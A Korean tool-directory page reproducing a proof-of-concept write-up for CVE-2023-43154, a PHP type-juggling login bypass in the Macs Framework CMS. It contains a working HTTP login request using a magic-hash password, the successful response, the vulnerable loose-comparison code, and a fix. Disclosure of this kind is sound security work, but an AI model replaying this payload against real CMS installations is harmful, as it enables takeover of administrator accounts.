Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-43154-PoC — Mac의 CMS에서 발생하는 타입 혼동 취약점에 대한 PoC로, 인증 우회 및 관리자 계정 탈취로 이어집니다. | Kitploit
도구/GitHubGitHub/ally-petitt/cve-2023-43154-poc
Authentication & AuthorizationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubally-petitt/cve-2023-43154-poc

CVE-2023-43154-PoC

Mac의 CMS에서 발생하는 타입 혼동 취약점에 대한 PoC로, 인증 우회 및 관리자 계정 탈취로 이어집니다.

저장소 보기
52년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-43154 - Macs Framework v1.1.4f CMS 타입 혼동 취약점

목차

  1. 개요
  2. 개념 증명
  3. 기술 브리핑
  4. 완화 대책

개요

CVE-ID: CVE-2023-43154

CVSS 3.1: 9.8

취약점 설명: isValidLogin() 함수의 느슨한 비교로 인해 PHP 타입 혼동 취약점이 발생하며, 이를 악용하여 인증을 우회하고 관리자 계정을 탈취할 수 있습니다.

취약 매개변수: CMS 사용자의 사용자 이름과 비밀번호.

영향을 받는 제품: Macs Framework v1.14f - 콘텐츠 관리 시스템(CMS)

제한 사항:

  1. 피해자 계정의 사용자 이름이 사전에 알려져 있거나 0과 유사한 문자열(zero-like string)이어야 합니다.
  2. 계정에 사용되는 비밀번호는 "매직 해시" 결과를 생성해야 합니다.

사용자 상호 작용 필요: 없음

참고 자료: https://github.com/ally-petitt/CVE-2023-43154-PoC

발견 날짜: 2023년 9월 7일

보고자: Ally Petitt

개념 증명

URI /index.php/main/cms/login에서 피해자 계정의 사용자 이름과 매직 해시를 생성하는 임의의 비밀번호로 로그인하면 인증 우회가 발생합니다.

아래에 샘플 로그인이 나와 있습니다.

페이로드 전송

root@kitploit:~
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close

ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0

HTTP 응답

root@kitploit:~
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<script>window.location.href="http://172.17.0.2/index.php/home"</script>

200 상태 코드와 /index.php/home으로의 리디렉션은 모두 로그인 시도가 성공했음을 나타냅니다. testadmin의 비밀번호는 로그인 시도에 사용된 비밀번호(0gdVIdSQL8Cm)가 아닙니다. 대신 QNKCDZO로 설정되어 있었습니다.

기술 브리핑

사용자가 로그인을 시도하면, 제공된 비밀번호가 해시되고 /index.php/Main/CMS/login에 대한 POST 요청 시 호출되는 초기 login() 함수를 통해 isValidLogin() 함수에 매개변수로 전달됩니다.

root@kitploit:~
    public function login()
    {      
      if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
      --snip--
    }

isValidLogin() 함수는 /Application/plugins/CMS/controllers/CMS.php 파일의 83번째 줄에서 시작됩니다. 이 함수는 3개의 등호 대신 2개의 등호를 사용하기 때문에 타입 혼동 취약점에 노출되어 있습니다.

root@kitploit:~
    private function isValidLogin($username, $password)
    {
      $this->loadModels();
      
      $loggedIn = false;

      foreach (Config::$editInPlaceAdmins as $key=>$account)
      {
        if(( $account['username'] == $username) && ($account['password'] == $password ) )
        {
          $loggedIn = true;
          Session::set('AdminLoggedIn', $account);
          break;
        }
      }

if 문에서 볼 수 있듯이 사용자 이름과 비밀번호는 느슨한 비교로 확인되어 PHP 타입 혼동 취약점으로 이어집니다. 이는 느슨한 비교 중에 PHP가 값 0으로 해석하는 매직 해시를 생성하는 비밀번호로 로그인할 때 악용될 수 있습니다. 이러한 비밀번호 목록은 여기에서 확인할 수 있습니다.

이를 악용하려면 먼저 $account['password']가 저장되는 형식을 이해하는 것이 중요합니다. 앞서 언급한 CMS.php 파일의 730번째 줄에서 새 사용자 계정을 저장하는 데 사용되는 함수를 보면, 비밀번호가 저장되기 전에 먼저 encrypt 함수를 통과한다는 것이 분명해집니다.

root@kitploit:~
  $password = $this->encrypt(Post::getByKey('password'));
  $confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
  -- snip --
  private function saveNewUser( $username, $password, $emailAddress, $roleId)

비밀번호가 encrypt를 통과한 후 호출되는 함수로 계속 이동하면 다음 코드가 사용됩니다:

root@kitploit:~
    private function saveNewUser( $username, $password, $emailAddress, $roleId)
    {
      --snip--
            $this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
      --snip--
    }

위 코드를 기반으로 "암호화된" 비밀번호가 MVC 프레임워크의 users 모델에 직접 배치되었음을 알 수 있습니다. 마지막으로 이 취약점을 악용하려면 encrypt 함수의 출력이 사용자 입력과 직접 비교되므로 encrypt 함수가 어떻게 작동하는지 이해해야 합니다.

root@kitploit:~
    private function encrypt( $string )
    {      
      return md5($string);
    }

encrypt 함수는 전달된 문자열의 MD5 해시를 반환합니다. 즉, 사용자가 제공한 자격 증명으로 login() 함수가 호출되면 입력된 비밀번호가 해시되어 피해자 계정의 저장된 MD5 해시와 비교됩니다.

이는 PHP 충돌(collision) 또는 매직 해시를 생성하는 비밀번호를 사용하면, 역시 매직 해시 형식을 따르는 저장된 비밀번호와 비교 시 동등한 것으로 등록된다는 것을 의미합니다. 결과적으로 초기 비밀번호를 사전에 알지 못하더라도 매우 많은 수의 비밀번호를 사용하여 관리자 계정에 인증하고 탈취할 수 있습니다.

완화 대책

이 취약점은 isValidLogin() 함수의 느슨한 비교를 ==를 ===로 교체하여 엄격한 비교로 변경함으로써 완화할 수 있습니다.

도구 다운로드